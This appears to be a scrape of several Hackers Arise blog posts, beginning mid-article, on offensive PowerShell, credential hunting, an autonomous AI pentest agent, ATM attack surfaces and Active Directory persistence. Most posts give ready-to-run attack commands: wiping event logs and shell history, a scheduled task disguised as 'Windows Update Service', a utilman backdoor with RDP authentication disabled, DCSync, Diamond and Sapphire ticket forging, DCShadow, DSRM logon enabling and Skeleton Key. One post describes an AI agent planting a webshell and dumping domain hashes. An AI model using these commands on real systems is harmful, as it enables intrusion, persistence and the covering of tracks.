PS > Set-ExecutionPolicy Bypass -Scope LocalMachine -Force-WindowStyle Hidden makes a PowerShell script or command run without showing any visible window to the user. When hackers run scripts, they don’t want to draw attention. If you run PowerShell normally, a window might briefly flash on screen and alert the victim.
Let’s execute our script:
PS > Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File C:\Windows\Temp\script.ps1"-NoProfile avoids loading profile scripts:
PS > powershell.exe -NoProfile -Command "Write-Output 'Hackers-Arise!'"Just like in Linux, there’s a command history. By default it typically holds the last 50 entries. You can list them with Get-History.
Or read the file itself:
PS > Get-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt”Instead of deleting it, let’s overwrite it:
PS > Set-Content “$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt” -Value “”Listing command lines for each process can help you find usernames, passwords, IPs and other things.
PS > gwmi win32_process | select CommandLineScheduled Tasks get used for persistence and privilege escalation. Each task is defined by a set of triggers (at logon, at a given time, or on an event), actions (the program, script, or command to run), and optional conditions or settings that control retries and timeouts.
For privilege escalation you want to find vulnerable tasks. We’ll output all the scheduled tasks to a file and then look for “SYSTEM”:
PS > schtasks /query /fo LIST /v > schtask.txtFor persistence, create your own task or modify the existing one:
PS > schtasks /create /tn “Windows Update Service” /tr “C:\Windows\Temp\hackers-arise.exe” /sc hourly /mo 3 /ru System”Make sure it exists:
PS > schtasks /query /tn “Windows Update Service”Force it to run immediately:
PS > schtasks /run /tn “Windows Update Service”Or delete it:
PS > schtasks /delete /tn “Windows Update Service” /fEverything was successful.
To see currently active user sessions, use quser or qwinsta. These commands show usernames with their session details, including idle time.
If you need to kill someone’s connection:
PS > logoff ((quser | Where-Object { $_ -match 'username' } ) -split '\s+' )[2]If you accidentally trigger the creation of a new user profile by signing into a computer where that user has never logged in before, kill the session tied to that user first, then delete the created user folder:
PS > cmd.exe /c "rd /s /q C:\Users\username"Hackers clear Windows logs to cover their tracks. Here’s how:
PS > Clear-EventLog Security,System,Application; "Windows PowerShell","Microsoft-Windows-PowerShell/Operational","Microsoft-Windows-WMI-Activity/Operational" | ForEach-Object { & "$env:windir\System32\wevtutil.exe" cl $_ }First the command clears the classic Windows event logs, then it uses wevtutil.exe to clear the more modern ones.
Below you can find other useful commands.
Once a system’s been compromised, you can establish a backdoor. There are many of them, depending on your objectives and the environment. Our technique uses utilman.exe.
Utilman.exe is the Windows Utility Manager. It’s the program that runs when you click the “Ease of Access” button on the login screen or press Win+U. It’s meant to provide accessibility tools (Narrator, Magnifier, or On-Screen Keyboard) before you log in.
It can be exploited by tweaking the registry so it points to cmd.exe instead. As a result, pressing the Ease of Access button at the login prompt launches a CMD prompt with SYSTEM privileges.
Using registry let’s set up the backdoor:
PS > reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /fThen we disable NLA for RDP, that way it won’t require valid credentials to open an RDP session:
PS >reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /fAfter that you need to reboot the system or wait for an administrator to do it.
If you use Sticky Keys instead, you won’t need to reboot at all.
PowerShell is a powerful tool, as you can see. In this first part, we’ve covered essential commands, credential harvesting, persistence and stealth. In the next part, we’ll build on this foundation with more advanced tools.
If you want to learn how PowerShell can be used in both red team and blue team scenarios, get our PowerShell for Hackers training. We’ll show things that can’t be covered here.
The post PowerShell for Hackers, Part 1: The Basics first appeared on Hackers Arise.
Welcome back, cyberwarriors!
When you just land on a new machine, you often have to sit down and go through every running service just to figure out what’s actually installed and which of those apps might be worth a closer look for credentials in a config somewhere. You can’t skip this part, as it usually gives you something you’ll need later in the engagement, but it eats time. A lot of it.
There are older tools that try to do something similar, but the two we’re covering today are more current. LOLCreds and CredsHound come from the same developer and they cover a huge amount of software.
So let’s see how they work.
LOLCreds is a website that has 678 different credentials. Some software generates a password when you install it or prompts you to enter it. There are also static credentials that are baked into the product. The D-Link backdoor credentials are a good example of the second kind.
LOLCreds also tracks AI API keys and shows you exactly where to find them on a system. Here’s what it has on Cursor.
MySQL is a more basic example. Its password is often hidden in a config file or sitting as a variable in the env file.
All of that is great when you already know what software you’re hunting through and you’re picking it one at a time. But machines might have dozens of applications running. Software can be removed, but configs stay and password reuse is common. You can use CredsHound for this hunt.
CredsHound is a scanner written in Go. Under the hood it pulls templates from LOLCreds so it can run product aware checks. It has been fully optimized for modern environments, so it will scan everything from DBeaver encrypted databases to OpenCode, GitHub Copilot CLI, Hugging Face, OpenAI and more.
Before you start using the scanner, you need to have Go installed.
bash$ > sudo apt install golang
bash$ > go install github.com/haxxm0nkey/credshound/cmd/credshound@latestOnce that finishes, you may run into a common issue where the Go binaries aren’t included in your system path yet. Add them yourself:
bash$ > sudo echo “export PATH:$PATH:/home/user/go/bin” >> /etc/profile
bash$ > source /etc/profileNow we’re ready.
There are different ways you can run it, but you always start with updating the template library. The scanner can be used with different privileges, but we’ll use root.
# Update templates
bash# > credshound -ut
# Scan /etc
bash# > credshound -t /root/.cache/credshound/templates /etcOur system is fresh, so there’s not much on it yet. A box that’s been sitting in prod for a while will have more interesting results, like the one below.
CredsHound can also work with BloodHound to show you the relationships between credentials as a graph. Here’s how to set it up:
ubuntu$ > credshound -t ~/lolcreds-templates -bloodhound -o credshound-bloodhound.json .Then you import the JSON file into BloodHound and see what comes up.
When you’ve collected many of these JSON files from different machines, you’ll start seeing the architecture of what you’re testing.
A few more commands you’ll find useful:
# Scan the current directory
bash$ > credshound .
# Scan multiple roots
bash$ > credshound ~/project /etc
# Scan only env variables
bash$ > credshound -sources env
# Scan current and process environment variables on Linux
bash$ > credshound -sources env,procCredential hunting is a tedious thing when you do it manually, but you can’t really skip this part. It’s essential to move further. The tools covered can make the whole process easier and the output rich. LOLCreds has a reference library for different products and CredsHound can scan your hosts for secrets with results that you may import into BloodHound.
If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.
The post Pentesting: Stealing Credentials with LOLCreds and CredsHound first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors!
Lately we have been covering the use of AI in cybersecurity and this space has been growing so fast that it’s hard to keep up sometimes. It’s only going to keep growing from here, so it’s smart to learn how to use it to your advantage instead of getting left behind.
Today we’re going to show you a pentest tool that works with different models. The tool comes ready to use right out of the box and you don’t have to provide your API key to get started. During our own testing, we did eventually hit a usage limit, but by that point we had already gotten a ton of work done. The limits will reset every day, sometimes you just need to wait 5-14 hours. But the daily limit should be enough for you to complete many of your tasks.
PentestCode is an autonomous agent that lives in your terminal. You point it at a target and from there it takes over. It can run tools, read the output, build a picture of the network as it decides what step makes sense next. Under the hood, it’s a hard fork of OpenCode, but stripped of all the code editing features and rebuilt from the ground up with offensive security in mind.
In our experience the tool did well in both web and network pentesting. Of course, everyone’s mileage may vary, so give it a shot yourself and see how it fits into your workflow. With that said, let’s get it set up.
All you need to do is unzip the release version and start it up. Before you do that though, make sure you are downloading the original project made by s0ld13rr and not some fork. There have been reports of forks being bundled with infected files, so stick to the source.
kali > wget https://github.com/s0ld13rr/pentestcode/releases/download/v0.2.5/pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tarAnd that’s it, we are ready to launch.
Once you launch the tool, the console will appear.
kali > ./pentestcodeAt this point you can either leave everything at the default settings or tweak the model and the provider yourself. By default, the tool is set up with OpenCode Zen as the provider and Big Pickle as the model, though you can switch that over to DeepSeek v4 Flash.
If you want to connect to a different provider, just type /connect.
And whenever you want to swap the model, just type /models and pick from the list.
Let’s start by testing this against our own lab. We gave it an Active Directory account with low privileges and asked to pull some interesting information from LDAP.
It came back with domain admins, misconfigs, machine accounts and more.
At the very end of the report, it suggested the next steps based on everything it found.
Then we brought in BloodHound to see the relationships across the domain. If you have been following our earlier articles, you already know that our lowpriv account is set up as a kind of backdoor, since it holds GenericAll rights over AdminSDHolder. The tool found the backdoor and exploited it.
The agent performed a DCSync attack and pulled every user hash in the environment. Then we asked it to generate a golden ticket.
It pulled it off using the Impacket. Keep in mind, using Impacket won’t always work against a protected endpoint, so it’s important to spell out clearly how you want the pentest to be done. If you are running this against a live target, put real guardrails in place and give the tool much more detailed prompts so it does not wander somewhere it shouldn’t.
Finally, we get to the tedious part of a pentest. It’s writing up the report. You can do it in different formats using /report.
kali > sudo apt install glow
kali > glow report.mdWeb pentesting is such a massive topic on its own that plenty of people end up specializing in just one or two attacks testing them across different targets. PentestCode can be used here too, once you give it a good starting point through solid reconnaissance. You can toggle between modes using Tab, switching back and forth between Recon and Pentest.
We intentionally kept our prompt vague, just to see how creative the tool would get on its own and pointed it at a website. Within 15 minutes, it mapped out every subdomain tied to that company and tested the infrastructure behind each one.
The goal was to get an RCE. We didn’t expect much to come of it, but it managed to do it.
PentestCode uploaded a webshell and used curl to do recon on the internal network from there. On top of that, it compromised both a mail account and a MySQL database. The admin panel was also exploited with a CSRF vulnerability. Pretty impressive stuff, honestly.
The tool comes in handy during post exploitation as well. In our test, it exploited a vulnerability in PostgreSQL and escalated its way up to superuser access, then went through the databases and pulled out some interesting data. You can see some of it below.
If you decide to test PentestCode yourself, make sure you steer clear of vague prompts and set clear boundaries so that it doesn’t go further than it should. Use /pause to choose a mode where it stops and waits for your approval before moving forward. We believe that it’s important to keep a human in the loop in cybersecurity work like this.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.
The post Artificial Intelligence (AI) in Cybersecurity, Part 23: Using PentestCode for Pentesting and Bug Bounty Hunting first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors!
Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security.
This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.
Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.
With that out of the way, let’s start with where ATMs came from.
London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card.
Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.
Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.
Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.
What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.
Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.
Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.
The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.
Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.
None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.
Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.
The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.
From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.
Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines.
A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center.
Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.
That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.
Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.
Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.
The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.
Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.
Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.
Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well.
The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.
Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone.
The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware.
Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.
With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.
Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.
Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.
System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.
Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.
Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there.
We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.
ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.
Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.
The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.
A technical walkthrough of the kerberoasting attack: the Kerberos quirk it abuses, RC4 vs AES, and how to detect and fix it in Active Directory.
Kerberoasting Attack Explained Step by Step on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.
Welcome back, aspiring hackers!
One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.
This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.
Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.
The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.
Today we are going to explore The Art of Staying In by DbgMan.
The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.
The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.
We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.
One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.
Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.
There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.
A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.
To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.
A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.
A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.
For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.
The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.
PS > mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt"After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.
Next we move to Rubeus.
Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap
# add /output:admin.kirbi if you need itThis command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.
If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.
kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcacheOnce the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.
A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.
Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.
Here is an example using Impacket.
kali > python3 ticketer.py -request -domain domain.local -user lowpriv -password 'P@ssw0rd123' -aesKey <KRBTGT_AES256> -domain-sid S-1-5-21-XXXXXXXX -impersonate Administrator domain.localTickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.
Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.
DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.
The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.
This attack requires Domain Admin privileges.
For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.
First we elevate the shell with PsExec.
PS > .\PsExec.exe \\delivery -u sekvoya.local\service_adm -p P@ssw0rd123! -s powershellNext we run Mimikatz and modify the target account.
PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=sekvoya,DC=local /attribute:primaryGroupID /value:512" "exit"This prepares the modification that will promote the user into Domain Admin privileges.
Then, from the second administrative window, we push the changes.
PS > .\mimikatz.exe "privilege::debug" "lsadump::dcshadow /push" "exit"Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.
Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.
Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.
This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.
First, we connect to the Domain Controller and dump the local SAM database.
PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'This gives us the local Administrator hash associated with the DSRM account.
Next we enable network logon functionality for the DSRM account.
PS > reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /fAfter modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.
Skeleton Key is another classic but still interesting persistence technique.
Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.
By default, the password used by Mimikatz for Skeleton Key is mimikatz.
Here is the command:
PS > . .\Invoke-Mimikatz.ps1
PS > Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.
There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.
Hackers don’t rely on one method. They layer persistence strategically.
Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.
Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.
The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.
Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.
Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.
If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.
The post Advanced Persistence: A Complete Guide on Persistence first appeared on Hackers Arise.
